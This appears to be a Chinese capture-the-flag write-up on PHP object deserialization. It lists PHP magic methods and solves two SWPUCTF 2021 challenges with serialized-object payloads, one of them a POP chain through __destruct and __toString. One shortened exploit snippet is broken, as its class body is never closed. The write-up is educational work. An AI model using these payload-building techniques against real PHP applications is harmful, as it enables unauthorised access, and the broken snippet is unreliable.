首页 > 编程语言 >php反序列化

php反序列化

时间:2023-11-28 19:33:26浏览次数:47  
标签:__ php w00m admin w22m echo 调用 序列化

前置知识

各种魔术方法的触发条件:

__construct 当一个对象创建时被调用,

__destruct 当一个对象销毁时被调用,当对象创建完成结束后会调用

__toString 当一个对象被当作一个字符串被调用。

__wakeup() 使用unserialize时触发

__sleep() 使用serialize时触发

__destruct() 对象被销毁时触发

__call() 对不存在的方法或者不可访问的方法进行调用就自动调用

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

题目:

[SWPUCTF 2021 新生赛]ez_unserialize:

image-20231110202859635

查看源代码发现有个Disallow,猜一下是不是防止爬虫的,访问一下robots.txt

image-20231110203000438

​ 有个cl45s.php,访问一下看看

找到了代码,直接开始审计php代码

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

代码的意思是只有当admin==="admin",pass==="ctf"时才会触发flag,那么我们就去构造一下

<?php  
class wllm{  

 public $admin;  
 public $passwd;  
 public function __construct(){  
 $this->admin ="admin";  
 $this->passwd = "ctf";  
 }  
}  
$a=new wllm();  
echo urlencode(serialize($a));  
?>

序列化出来的内容:

O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D
//O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

保险起见urlencode一下,如果有private,protected的属性的话不urlencode会漏掉一些内容

get传参,获得flag

image-20231110203608834

image-20231110203614146

其实写这么一段就行,因为序列化的内容只有这些属性,那些方法不会跟着序列化

<?php  
class wllm{  

 public $admin="admin";  
 public $passwd= "ctf";  
$a=new wllm();  
echo serialize($a);  
?>

[SWPUCTF 2021 新生赛]pop

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

题目出来就直接是源码

最终要执行的肯定是Getflag()函数,所以就从后往前推,看看哪里可以调用方法,发现w33m类中的toString()方法可以调用函数,这里的话肯定是要让w33m类里$w00m为w44m对象,$w22m为Getflag字符串,然后再看要怎么触发toString,当这个对象被当字符串输出时会调用,也就是在w22m类里会被调用,所以要让w22m类的w00m为w33m对象。

整理一下就是

  1. 创建w22m对象 其中$w00m字段为w33m对象
  2. 创建w33m对象 令其中$w00m为w44m对象 $w22m为Getflag字符串
  3. 创建w44m对象 令其中$admin = ‘w44m’;$passwd = ‘08067’

构造pop链就是下面这样

<?php

class w44m{

    private $admin ='w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;

}

$a=new w22m();
$b=new w33m();
$c=new w44m();

$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';

echo urlencode(serialize($a));

?>

传参获得flag

标签:__,php,w00m,admin,w22m,echo,调用,序列化
From: https://www.cnblogs.com/Jinx8823/p/17825145.html

相关文章

  • 【转载】php内置服务器的使用
    参考https://www.php.net/manual/zh/features.commandline.webserver.phphttps://www.bilibili.com/video/BV1J54y1q7y3https://blog.csdn.net/shenshulong/article/details/103959756注意这个内置的Web服务器主要用于本地开发使用,不可用于线上产品环境。环境软件/......
  • 【?】Web_XCTF_WriteUp | simple_php
    题目提示:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。题目:分析读代码:<?php//php脚本的开始部分show_source(__FILE__);//对当前文件进行php语法高亮显示include("config.php");//引用config.php文件$a=@$_GET['a'];//......
  • PHP大文件分割上传详解
    这篇文章主要为大家详细介绍了PHP大文件分割上传,PHP分片上传,具有一定的参考价值,感兴趣的小伙伴们可以参考一下服务端为什么不能直接传大文件?跟php.ini里面的几个配置有关upload_max_filesize=2M//PHP最大能接受的文件大小post_max_size=8M//PHP能收到的最大POST值'memory_l......
  • php mysql操作
    连接数据库mysqli_connect()mysql(host,username,password,dbname,port,socket);host:主机名或IP地址username:mysql用户名password:mysql密码dbname:使用的数据库port:mysql服务器的端口号socket:规定socket或使用已命名pipe断开数据库连接mysqli_close()boolmysqli_clo......
  • Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
    Weblogic<10.3.6'wls-wsat'XMLDecoder反序列化漏洞(CVE-2017-10271)Weblogic的WLSSecurity组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。环境搭建cdweblogic/CVE-2017-10271docker-compose......
  • C# Json序列化的格式化问题
    问题来源: 客户要求传送给他的JSON文件的float型格式化为2位小数,数值型有30-40个栏位,一个一个修改也不是很好.bing和百度找到的方式都是自己定义一个JsonConverter,进行格式化.找到的都是在字符串两边加++的例子,核心转化的代码如下:classStringFormatConverter:JsonCo......
  • linux安装Apache、PHP、Mysql
    https://www.jianshu.com/p/39c4aa6f7103linux安装Apache、PHP、Mysql春风仿佛爱情IP属地:江西0.2842018.09.0119:41:37字数1,755阅读3,562一、检查系统环境二、安装Apache、PHP、Mysql三、安装基本常用扩展包四、配置Apache、mysql开机启动五、配置Mysql六、测试环境七、......
  • PHP集成开发环境软件推荐
    很多PHP新手不知道怎么搭建PHP开发环境,从网上找来Apache、PHP、MySQL、phpMyAdmin及其他组件开始安装,但是往往不能顺利完成,经常出现一些无可预料的错误,这样就浪费了大量时间,甚至影响了学习的兴趣。这里给大家介绍几款比较不错的PHP集成环境软件,非常适合初学者使用,你所要做的就是下......
  • linux下如何安装apache php
    linux下安装apache+PHP过程安装apache过程总结  安装httpd-2.2.11 下载地址:http://archive.apache.org/dist/httpd/ 安装过程123456789101112131415161718192021222324[root@zhibing/]#rpm-qa|grephttpdhttpd-manual-2.0.52-32......
  • linux系统下php安装mbstring扩展的二种方法
    https://pythonjishu.com/zqqrcvxyfjqmmke/下面是详细讲解“Linux系统下PHP安装mbstring扩展的二种方法”的攻略:方法一:通过源码安装下载PHP源码,并解压缩到指定目录。$tar-zxvfphp-7.4.12.tar.gz//解压PHP源码包进入源码目录,执行configure配置脚本。$cdphp-7.4.12......